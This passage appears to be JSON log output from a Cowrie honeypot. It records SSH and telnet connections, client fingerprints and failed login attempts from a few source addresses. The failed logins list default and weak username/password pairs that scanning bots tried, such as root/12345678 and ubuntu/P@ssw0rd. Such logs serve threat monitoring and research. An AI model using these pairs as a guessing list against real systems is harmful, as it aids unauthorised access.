0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:10.632631Z","src_ip":"192.109.200.78","session":"e47c188ec65a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:11.062845Z","src_ip":"192.109.200.78","session":"e47c188ec65a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38336,"dst_ip":"159.203.135.109","dst_port":22,"session":"5288aad1e176","protocol":"ssh","message":"New connection: 159.203.92.129:38336 (159.203.135.109:22) [session: 5288aad1e176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:11.813327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:11.818018Z","src_ip":"159.203.92.129","session":"5288aad1e176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:11.824466Z","src_ip":"159.203.92.129","session":"5288aad1e176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Cliri$R00t","message":"login attempt [admin/Cliri$R00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:11.841987Z","src_ip":"159.203.92.129","session":"5288aad1e176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:12.147359Z","src_ip":"192.109.200.78","session":"e47c188ec65a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.29948139190674,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:12.474998Z","src_ip":"206.189.71.75","session":"3416018f4ead","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:12.899900Z","src_ip":"159.203.92.129","session":"5288aad1e176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":37898,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab8f701e437f","protocol":"telnet","message":"New connection: 206.189.71.75:37898 (159.203.135.109:23) [session: ab8f701e437f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:14.242494Z"}
{"eventid":"cowrie.session.closed","duration":34.74353909492493,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:14.641054Z","src_ip":"206.189.71.75","session":"46b74f7f260b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34920,"dst_ip":"10.17.0.5","dst_port":22,"session":"30fe65ba55dc","protocol":"ssh","message":"New connection: 192.109.200.78:34920 (10.17.0.5:22) [session: 30fe65ba55dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:14.827489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:14.832700Z","src_ip":"192.109.200.78","session":"30fe65ba55dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:14.918330Z","src_ip":"192.109.200.78","session":"30fe65ba55dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:15.170361Z","src_ip":"192.109.200.78","session":"30fe65ba55dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:16.256950Z","src_ip":"192.109.200.78","session":"30fe65ba55dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.12839388847351,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:18.599925Z","src_ip":"206.189.71.75","session":"f77824a9f3e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.464417457580566,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:18.793234Z","src_ip":"206.189.71.75","session":"7c354ccffd2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44478,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1e54bbcde48","protocol":"ssh","message":"New connection: 192.109.200.78:44478 (10.17.0.5:22) [session: d1e54bbcde48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:19.199299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:19.204857Z","src_ip":"192.109.200.78","session":"d1e54bbcde48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:19.296668Z","src_ip":"192.109.200.78","session":"d1e54bbcde48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:19.822911Z","src_ip":"192.109.200.78","session":"d1e54bbcde48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:20.911680Z","src_ip":"192.109.200.78","session":"d1e54bbcde48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":44210,"dst_ip":"159.203.135.109","dst_port":23,"session":"19620bc28c2f","protocol":"telnet","message":"New connection: 206.189.71.75:44210 (159.203.135.109:23) [session: 19620bc28c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:21.953514Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":44130,"dst_ip":"159.203.135.109","dst_port":23,"session":"06bf1653fd23","protocol":"telnet","message":"New connection: 206.189.71.75:44130 (159.203.135.109:23) [session: 06bf1653fd23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:22.821198Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44500,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b05593f34a4","protocol":"ssh","message":"New connection: 192.109.200.78:44500 (10.17.0.5:22) [session: 6b05593f34a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:23.224108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:23.227104Z","src_ip":"192.109.200.78","session":"6b05593f34a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:23.600134Z","src_ip":"192.109.200.78","session":"6b05593f34a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:24.046958Z","src_ip":"192.109.200.78","session":"6b05593f34a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:25.132380Z","src_ip":"192.109.200.78","session":"6b05593f34a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.513145208358765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:25.959820Z","src_ip":"206.189.71.75","session":"6958882c1a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44516,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fe3fb9b9db9","protocol":"ssh","message":"New connection: 192.109.200.78:44516 (10.17.0.5:22) [session: 0fe3fb9b9db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:27.395683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:27.399848Z","src_ip":"192.109.200.78","session":"0fe3fb9b9db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:27.487312Z","src_ip":"192.109.200.78","session":"0fe3fb9b9db9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:27.736347Z","src_ip":"192.109.200.78","session":"0fe3fb9b9db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":49106,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f072c63a41c","protocol":"telnet","message":"New connection: 206.189.71.75:49106 (159.203.135.109:23) [session: 2f072c63a41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:27.802173Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:28.821784Z","src_ip":"192.109.200.78","session":"0fe3fb9b9db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58122,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf67fe48f35c","protocol":"ssh","message":"New connection: 192.109.200.78:58122 (10.17.0.5:22) [session: cf67fe48f35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:31.572848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:31.577356Z","src_ip":"192.109.200.78","session":"cf67fe48f35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:31.740819Z","src_ip":"192.109.200.78","session":"cf67fe48f35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:32.140884Z","src_ip":"192.109.200.78","session":"cf67fe48f35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:33.233446Z","src_ip":"192.109.200.78","session":"cf67fe48f35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.95124578475952,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:34.371412Z","src_ip":"206.189.71.75","session":"34588ab22e79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58130,"dst_ip":"10.17.0.5","dst_port":22,"session":"a775a53bb6ff","protocol":"ssh","message":"New connection: 192.109.200.78:58130 (10.17.0.5:22) [session: a775a53bb6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:35.832863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:35.838919Z","src_ip":"192.109.200.78","session":"a775a53bb6ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:35.925729Z","src_ip":"192.109.200.78","session":"a775a53bb6ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:36.180296Z","src_ip":"192.109.200.78","session":"a775a53bb6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:37.265701Z","src_ip":"192.109.200.78","session":"a775a53bb6ff","protocol":"ssh"}
